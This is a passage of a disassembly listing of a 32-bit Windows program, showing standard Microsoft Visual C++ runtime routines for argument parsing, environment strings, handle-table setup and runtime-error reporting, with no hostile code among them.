esi jz short loc_41CA22 and byte ptr [esi-1], 0 loc_41CA22: ; CODE XREF: sub_41C96C+6Ej ; sub_41C96C+71j ... and [ebp+arg_10], 0 loc_41CA26: ; CODE XREF: sub_41C96C+19Ej cmp byte ptr [eax], 0 jz loc_41CB0F loc_41CA2F: ; CODE XREF: sub_41C96C+D0j mov dl, [eax] cmp dl, 20h jz short loc_41CA3B cmp dl, 9 jnz short loc_41CA3E loc_41CA3B: ; CODE XREF: sub_41C96C+C8j inc eax jmp short loc_41CA2F ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C96C+CDj cmp byte ptr [eax], 0 jz loc_41CB0F test edi, edi jz short loc_41CA53 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41CA53: ; CODE XREF: sub_41C96C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41CA58: ; CODE XREF: sub_41C96C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41CA61: ; CODE XREF: sub_41C96C+FCj cmp byte ptr [eax], 5Ch jnz short loc_41CA6A inc eax inc ebx jmp short loc_41CA61 ; --------------------------------------------------------------------------- loc_41CA6A: ; CODE XREF: sub_41C96C+F8j cmp byte ptr [eax], 22h jnz short loc_41CA9B test bl, 1 jnz short loc_41CA99 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41CA88 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41CA88 mov eax, edx jmp short loc_41CA8B ; --------------------------------------------------------------------------- loc_41CA88: ; CODE XREF: sub_41C96C+10Dj ; sub_41C96C+116j mov [ebp+arg_0], edi loc_41CA8B: ; CODE XREF: sub_41C96C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41CA99: ; CODE XREF: sub_41C96C+106j shr ebx, 1 loc_41CA9B: ; CODE XREF: sub_41C96C+101j mov edx, ebx dec ebx test edx, edx jz short loc_41CAB0 inc ebx loc_41CAA3: ; CODE XREF: sub_41C96C+142j test esi, esi jz short loc_41CAAB mov byte ptr [esi], 5Ch inc esi loc_41CAAB: ; CODE XREF: sub_41C96C+139j inc dword ptr [ecx] dec ebx jnz short loc_41CAA3 loc_41CAB0: ; CODE XREF: sub_41C96C+134j mov dl, [eax] test dl, dl jz short loc_41CB00 cmp [ebp+arg_10], 0 jnz short loc_41CAC6 cmp dl, 20h jz short loc_41CB00 cmp dl, 9 jz short loc_41CB00 loc_41CAC6: ; CODE XREF: sub_41C96C+14Ej cmp [ebp+arg_0], 0 jz short loc_41CAFA test esi, esi jz short loc_41CAE9 movzx ebx, dl test byte_46A9E1[ebx], 4 jz short loc_41CAE2 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41CAE2: ; CODE XREF: sub_41C96C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41CAF8 ; --------------------------------------------------------------------------- loc_41CAE9: ; CODE XREF: sub_41C96C+162j movzx edx, dl test byte_46A9E1[edx], 4 jz short loc_41CAF8 inc eax inc dword ptr [ecx] loc_41CAF8: ; CODE XREF: sub_41C96C+17Bj ; sub_41C96C+187j inc dword ptr [ecx] loc_41CAFA: ; CODE XREF: sub_41C96C+15Ej inc eax jmp loc_41CA58 ; --------------------------------------------------------------------------- loc_41CB00: ; CODE XREF: sub_41C96C+148j ; sub_41C96C+153j ... test esi, esi jz short loc_41CB08 and byte ptr [esi], 0 inc esi loc_41CB08: ; CODE XREF: sub_41C96C+196j inc dword ptr [ecx] jmp loc_41CA26 ; --------------------------------------------------------------------------- loc_41CB0F: ; CODE XREF: sub_41C96C+BDj ; sub_41C96C+D5j test edi, edi jz short loc_41CB16 and dword ptr [edi], 0 loc_41CB16: ; CODE XREF: sub_41C96C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41C96C endp ; =============== S U B R O U T I N E ======================================= sub_41CB20 proc near ; CODE XREF: sub_417AF8+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_46964C push ebx push ebp mov ebp, dword_42103C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41CB6E call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41CB4F mov dword_46964C, 1 jmp short loc_41CB77 ; --------------------------------------------------------------------------- loc_41CB4F: ; CODE XREF: sub_41CB20+21j call dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_41CC49 mov dword_46964C, 2 jmp loc_41CBFD ; --------------------------------------------------------------------------- loc_41CB6E: ; CODE XREF: sub_41CB20+19j cmp eax, 1 jnz loc_41CBF8 loc_41CB77: ; CODE XREF: sub_41CB20+2Dj cmp esi, ebx jnz short loc_41CB87 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41CC49 loc_41CB87: ; CODE XREF: sub_41CB20+59j cmp [esi], bx mov eax, esi jz short loc_41CB9C loc_41CB8E: ; CODE XREF: sub_41CB20+73j ; sub_41CB20+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41CB8E inc eax inc eax cmp [eax], bx jnz short loc_41CB8E loc_41CB9C: ; CODE XREF: sub_41CB20+6Cj sub eax, esi mov edi, dword_421138 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41CBED push ebp call sub_415DC9 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41CBED push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41CBE9 push [esp+18h+var_8] call sub_415E3D pop ecx mov [esp+18h+var_8], ebx loc_41CBE9: ; CODE XREF: sub_41CB20+B9j mov ebx, [esp+18h+var_8] loc_41CBED: ; CODE XREF: sub_41CB20+99j ; sub_41CB20+A8j push esi call dword_421044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41CC4B ; --------------------------------------------------------------------------- loc_41CBF8: ; CODE XREF: sub_41CB20+51j cmp eax, 2 jnz short loc_41CC49 loc_41CBFD: ; CODE XREF: sub_41CB20+49j cmp edi, ebx jnz short loc_41CC0D call dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_41CC49 loc_41CC0D: ; CODE XREF: sub_41CB20+DFj cmp [edi], bl mov eax, edi jz short loc_41CC1D loc_41CC13: ; CODE XREF: sub_41CB20+F6j ; sub_41CB20+FBj inc eax cmp [eax], bl jnz short loc_41CC13 inc eax cmp [eax], bl jnz short loc_41CC13 loc_41CC1D: ; CODE XREF: sub_41CB20+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415DC9 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41CC33 xor esi, esi jmp short loc_41CC3E ; --------------------------------------------------------------------------- loc_41CC33: ; CODE XREF: sub_41CB20+10Dj push ebp push edi push esi call sub_4155D0 add esp, 0Ch loc_41CC3E: ; CODE XREF: sub_41CB20+111j push edi call dword_4211A4 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_41CC4B ; --------------------------------------------------------------------------- loc_41CC49: ; CODE XREF: sub_41CB20+39j ; sub_41CB20+61j ... xor eax, eax loc_41CC4B: ; CODE XREF: sub_41CB20+D6j ; sub_41CB20+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41CB20 endp ; =============== S U B R O U T I N E ======================================= sub_41CC52 proc near ; CODE XREF: sub_417AF8+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415DC9 mov esi, eax pop ecx test esi, esi jnz short loc_41CC72 push 1Bh call sub_417BEE pop ecx loc_41CC72: ; CODE XREF: sub_41CC52+16j mov dword_46A7C0, esi mov dword_46A8C0, 20h lea eax, [esi+100h] loc_41CC88: ; CODE XREF: sub_41CC52+52j cmp esi, eax jnb short loc_41CCA6 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_46A7C0 add esi, 8 add eax, 100h jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CCA6: ; CODE XREF: sub_41CC52+38j lea eax, [esp+54h+var_44] push eax call dword_421164 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_41CD82 mov eax, [esp+54h+var_10] test eax, eax jz loc_41CD82 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41CCDC mov esi, eax loc_41CCDC: ; CODE XREF: sub_41CC52+86j cmp dword_46A8C0, esi jge short loc_41CD36 mov edi, offset dword_46A7C4 loc_41CCE9: ; CODE XREF: sub_41CC52+DAj push 100h call sub_415DC9 test eax, eax pop ecx jz short loc_41CD30 add dword_46A8C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41CD07: ; CODE XREF: sub_41CC52+CFj cmp eax, ecx jnb short loc_41CD23 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41CD07 ; --------------------------------------------------------------------------- loc_41CD23: ; CODE XREF: sub_41CC52+B7j add edi, 4 cmp dword_46A8C0, esi jl short loc_41CCE9 jmp short loc_41CD36 ; --------------------------------------------------------------------------- loc_41CD30: ; CODE XREF: sub_41CC52+A4j mov esi, dword_46A8C0 loc_41CD36: ; CODE XREF: sub_41CC52+90j ; sub_41CC52+DCj xor edi, edi test esi, esi jle short loc_41CD82 loc_41CD3C: ; CODE XREF: sub_41CC52+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41CD79 mov cl, [ebp+0] test cl, 1 jz short loc_41CD79 test cl, 8 jnz short loc_41CD5B push eax call dword_421030 ; GetFileType test eax, eax jz short loc_41CD79 loc_41CD5B: ; CODE XREF: sub_41CC52+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_46A7C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41CD79: ; CODE XREF: sub_41CC52+EFj ; sub_41CC52+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41CD3C loc_41CD82: ; CODE XREF: sub_41CC52+65j ; sub_41CC52+71j ... xor ebx, ebx loc_41CD84: ; CODE XREF: sub_41CC52+195j mov eax, dword_46A7C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41CDDF test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41CD9F push 0FFFFFFF6h pop eax jmp short loc_41CDA9 ; --------------------------------------------------------------------------- loc_41CD9F: ; CODE XREF: sub_41CC52+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41CDA9: ; CODE XREF: sub_41CC52+14Bj push eax call dword_421034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41CDCE push edi call dword_421030 ; GetFileType test eax, eax jz short loc_41CDCE and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41CDD4 loc_41CDCE: ; CODE XREF: sub_41CC52+163j ; sub_41CC52+16Ej or byte ptr [esi+4], 40h jmp short loc_41CDE3 ; --------------------------------------------------------------------------- loc_41CDD4: ; CODE XREF: sub_41CC52+17Aj cmp eax, 3 jnz short loc_41CDE3 or byte ptr [esi+4], 8 jmp short loc_41CDE3 ; --------------------------------------------------------------------------- loc_41CDDF: ; CODE XREF: sub_41CC52+13Ej or byte ptr [esi+4], 80h loc_41CDE3: ; CODE XREF: sub_41CC52+180j ; sub_41CC52+185j ... inc ebx cmp ebx, 3 jl short loc_41CD84 push dword_46A8C0 call dword_421038 ; SetHandleCount pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41CC52 endp ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE08 proc near ; DATA XREF: sub_417AF8+Ao ; sub_41A69A+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41CEA8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41CE3B: ; CODE XREF: sub_41CE08+90j cmp esi, 0FFFFFFFFh jz short loc_41CEA1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41CE8F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41CE8F js short loc_41CE9A mov edi, [ebx+8] push ebx call sub_416368 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4163AA add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41643E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41CE8F: ; CODE XREF: sub_41CE08+40j ; sub_41CE08+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41CE3B ; --------------------------------------------------------------------------- loc_41CE9A: ; CODE XREF: sub_41CE08+54j mov eax, 0 jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CEA1: ; CODE XREF: sub_41CE08+36j mov eax, 1 jmp short loc_41CEBD ; --------------------------------------------------------------------------- loc_41CEA8: ; CODE XREF: sub_41CE08+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4163AA add esp, 8 pop ebp mov eax, 1 loc_41CEBD: ; CODE XREF: sub_41CE08+97j ; sub_41CE08+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CE08 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4163AA add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41CEE0 proc near ; CODE XREF: sub_417BEE+9p ; sub_417C13+9p mov eax, dword_4694E8 cmp eax, 1 jz short loc_41CEF7 test eax, eax jnz short locret_41CF18 cmp dword_437D64, 1 jnz short locret_41CF18 loc_41CEF7: ; CODE XREF: sub_41CEE0+8j push 0FCh call sub_41CF19 mov eax, dword_469650 pop ecx test eax, eax jz short loc_41CF0D call eax loc_41CF0D: ; CODE XREF: sub_41CEE0+29j push 0FFh call sub_41CF19 pop ecx locret_41CF18: ; CODE XREF: sub_41CEE0+Cj ; sub_41CEE0+15j retn sub_41CEE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF19 proc near ; CODE XREF: sub_417BEE+12p ; sub_417C13+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4383D8 loc_41CF2C: ; CODE XREF: sub_41CF19+20j cmp edx, [eax] jz short loc_41CF3B add eax, 8 inc ecx cmp eax, offset off_438468 jl short loc_41CF2C loc_41CF3B: ; CODE XREF: sub_41CF19+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_4383D8[esi] jnz loc_41D069 mov eax, dword_4694E8 cmp eax, 1 jz loc_41D043 test eax, eax jnz short loc_41CF6C cmp dword_437D64, 1 jz loc_41D043 loc_41CF6C: ; CODE XREF: sub_41CF19+44j cmp edx, 0FCh jz loc_41D069 lea eax, [ebp+var_1A4] push 104h push eax push 0 call dword_42107C ; GetModuleFileNameA test eax, eax jnz short loc_41CFA3 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_415C00 pop ecx pop ecx loc_41CFA3: ; CODE XREF: sub_41CF19+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_415CF0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41CFE6 lea eax, [ebp+var_1A4] push eax call sub_415CF0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416D40 add esp, 10h loc_41CFE6: ; CODE XREF: sub_41CF19+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_415C00 lea eax, [ebp+var_A0] push edi push eax call sub_415C10 lea eax, [ebp+var_A0] push offset asc_421B40 ; "\n\n" push eax call sub_415C10 push off_4383DC[esi] lea eax, [ebp+var_A0] push eax call sub_415C10 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41E6EE add esp, 2Ch pop edi jmp short loc_41D069 ; --------------------------------------------------------------------------- loc_41D043: ; CODE XREF: sub_41CF19+3Cj ; sub_41CF19+4Dj lea eax, [ebp+arg_0] lea esi, off_4383DC[esi] push 0 push eax push dword ptr [esi] call sub_415CF0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call dword_421034 ; GetStdHandle push eax call dword_421070 ; WriteFile loc_41D069: ; CODE XREF: sub_41CF19+2Ej ; sub_41CF19+59j ... pop esi leave retn sub_41CF19 endp ; =============== S U B R O U T I N E ======================================= sub_41D06C proc near ; CODE XREF: sub_417C37+6Cp ; sub_41B8B0+32p ... arg_0 = dword ptr 4 inc dword_469654 push 1000h call sub_415DC9 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41D095 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41D0A6 ; --------------------------------------------------------------------------- loc_41D095: ; CODE XREF: sub_41D06C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41D0A6: ; CODE XREF: sub_41D06C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41D06C endp ; =============== S U B R O U T I N E ======================================= sub_41D0B0 proc near ; CODE XREF: sub_417C37+61p ; sub_4187B6+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8C0 jb short loc_41D0BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D0BF: ; CODE XREF: sub_41D0B0+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41D0B0 endp ; =============== S U B R O U T I N E ======================================= sub_41D0D6 proc near ; DATA XREF: .nsp0:00423020o mov eax, dword_46A7A0 push esi push 14h test eax, eax pop esi jnz short loc_41D0EA mov eax, 200h jmp short loc_41D0F0 ; --------------------------------------------------------------------------- loc_41D0EA: ; CODE XREF: sub_41D0D6+Bj cmp eax, esi jge short loc_41D0F5 mov eax, esi loc_41D0F0: ; CODE XREF: sub_41D0D6+12j mov dword_46A7A0, eax loc_41D0F5: ; CODE XREF: sub_41D0D6+16j push 4 push eax call sub_41E777 pop ecx mov dword_469780, eax test eax, eax pop ecx jnz short loc_41D129 push 4 push esi mov dword_46A7A0, esi call sub_41E777 pop ecx mov dword_469780, eax test eax, eax pop ecx jnz short loc_41D129 push 1Ah call sub_417BEE pop ecx loc_41D129: ; CODE XREF: sub_41D0D6+30j ; sub_41D0D6+49j xor ecx, ecx mov eax, offset off_438468 loc_41D130: ; CODE XREF: sub_41D0D6+6Ej mov edx, dword_469780 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_4386E8 jl short loc_41D130 xor edx, edx mov ecx, offset dword_438478 loc_41D14D: ; CODE XREF: sub_41D0D6+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_46A7C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41D16A test eax, eax jnz short loc_41D16D loc_41D16A: ; CODE XREF: sub_41D0D6+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41D16D: ; CODE XREF: sub_41D0D6+92j add ecx, 20h inc edx cmp ecx, offset dword_4384D8 jl short loc_41D14D pop esi retn sub_41D0D6 endp ; =============== S U B R O U T I N E ======================================= sub_41D17B proc near ; DATA XREF: .nsp0:00423030o ; FUNCTION CHUNK AT 0041E7F4 SIZE 00000058 BYTES call sub_418740 cmp byte_4694D4, 0 jz short locret_41D18E jmp loc_41E7F4 ; --------------------------------------------------------------------------- locret_41D18E: ; CODE XREF: sub_41D17B+Cj retn sub_41D17B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D18F proc near ; CODE XREF: sub_417D4C+2D4p ; sub_417D4C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41D19B pop ebp retn ; --------------------------------------------------------------------------- loc_41D19B: ; CODE XREF: sub_41D18F+8j cmp dword_469528, 0 jnz short loc_41D1B6 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41D1E8 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41D1B6: ; CODE XREF: sub_41D18F+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_437F7C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_469538 call dword_421138 ; WideCharToMultiByte test eax, eax jz short loc_41D1E8 cmp [ebp+arg_0], 0 jz short loc_41D1F5 loc_41D1E8: ; CODE XREF: sub_41D18F+1Ej ; sub_41D18F+51j mov dword_469494, 2Ah or eax, 0FFFFFFFFh loc_41D1F5: ; CODE XREF: sub_41D18F+57j pop ebp retn sub_41D18F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1F7 proc near ; CODE XREF: sub_418556+5Ep ; sub_41C1FF+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421B80 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_469658 xor ebx, ebx cmp eax, ebx jnz short loc_41D266 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_421870 push esi call dword_421028 ; GetStringTypeW test eax, eax jz short loc_41D244 mov eax, esi jmp short loc_41D261 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D1F7+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_438FD4 push esi push ebx call dword_42102C ; GetStringTypeA test eax, eax jz loc_41D32C push 2 pop eax loc_41D261: ; CODE XREF: sub_41D1F7+4Bj mov dword_469658, eax loc_41D266: ; CODE XREF: sub_41D1F7+2Fj cmp eax, 2 jnz short loc_41D28F mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_41D277 mov eax, dword_469528 loc_41D277: ; CODE XREF: sub_41D1F7+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword_42102C ; GetStringTypeA jmp loc_41D32E ; --------------------------------------------------------------------------- loc_41D28F: ; CODE XREF: sub_41D1F7+72j cmp eax, 1 jnz loc_41D32C cmp [ebp+arg_10], ebx jnz short loc_41D2A5 mov eax, dword_469538 mov [ebp+arg_10], eax loc_41D2A5: ; CODE XREF: sub_41D1F7+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call dword_421064 ; MultiByteToWideChar mov [ebp+var_20], eax cmp eax, ebx jz short loc_41D32C mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_415570 add esp, 0Ch jmp short loc_41D2FB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_41D2FB: ; CODE XREF: sub_41D1F7+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_41D32C push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_421064 ; MultiByteToWideChar cmp eax, ebx jz short loc_41D32C push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_421028 ; GetStringTypeW jmp short loc_41D32E ; --------------------------------------------------------------------------- loc_41D32C: ; CODE XREF: sub_41D1F7+61j ; sub_41D1F7+9Bj ... xor eax, eax loc_41D32E: ; CODE XREF: sub_41D1F7+93j ; sub_41D1F7+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D1F7 endp ; =============== S U B R O U T I N E ======================================= sub_41D340 proc near ; CODE XREF: sub_41D55A:loc_41D6D2p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_46A7C0 loc_41D34F: ; CODE XREF: sub_41D340+48j mov eax, [ecx] test eax, eax jz short loc_41D38C lea edx, [eax+100h] loc_41D35B: ; CODE XREF: sub_41D340+28j cmp eax, edx jnb short loc_41D37B test byte ptr [eax+4], 1 jz short loc_41D36A add eax, 8 jmp short loc_41D35B ; --------------------------------------------------------------------------- loc_41D36A: ; CODE XREF: sub_41D340+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41D3CF loc_41D37B: ; CODE XREF: sub_41D340+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_46A8C0 jl short loc_41D34F jmp short loc_41D3CF ; --------------------------------------------------------------------------- loc_41D38C: ; CODE XREF: sub_41D340+13j mov esi, 100h push esi call sub_415DC9 test eax, eax pop ecx jz short loc_41D3CF add dword_46A8C0, 20h lea ecx, ds:46A7C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41D3B2: ; CODE XREF: sub_41D340+88j cmp eax, edx jnb short loc_41D3CA and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41D3B2 ; --------------------------------------------------------------------------- loc_41D3CA: ; CODE XREF: sub_41D340+74j shl edi, 5 mov ebx, edi loc_41D3CF: ; CODE XREF: sub_41D340+39j ; sub_41D340+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41D340 endp ; =============== S U B R O U T I N E ======================================= sub_41D3D5 proc near ; CODE XREF: sub_41D55A+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46A8C0 push edi jnb short loc_41D435 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41D435 cmp dword_437D64, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41D42B sub eax, 0 jz short loc_41D422 dec eax jz short loc_41D41D dec eax jnz short loc_41D42B push ebx push 0FFFFFFF4h jmp short loc_41D425 ; --------------------------------------------------------------------------- loc_41D41D: ; CODE XREF: sub_41D3D5+3Ej push ebx push 0FFFFFFF5h jmp short loc_41D425 ; --------------------------------------------------------------------------- loc_41D422: ; CODE XREF: sub_41D3D5+3Bj push ebx push 0FFFFFFF6h loc_41D425: ; CODE XREF: sub_41D3D5+46j ; sub_41D3D5+4Bj call dword_421024 ; SetStdHandle loc_41D42B: ; CODE XREF: sub_41D3D5+36j ; sub_41D3D5+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41D449 ; --------------------------------------------------------------------------- loc_41D435: ; CODE XREF: sub_41D3D5+Cj ; sub_41D3D5+28j and dword_469498, 0 mov dword_469494, 9 or eax, 0FFFFFFFFh loc_41D449: ; CODE XREF: sub_41D3D5+5Ej pop edi pop esi retn sub_41D3D5 endp ; =============== S U B R O U T I N E ======================================= sub_41D44C proc near ; CODE XREF: sub_4185CB+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_46A8C0 push edi jnb short loc_41D4AF mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:46A7C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41D4AF cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41D4AF cmp dword_437D64, 1 jnz short loc_41D4A5 xor eax, eax sub ecx, eax jz short loc_41D49C dec ecx jz short loc_41D497 dec ecx jnz short loc_41D4A5 push eax push 0FFFFFFF4h jmp short loc_41D49F ; --------------------------------------------------------------------------- loc_41D497: ; 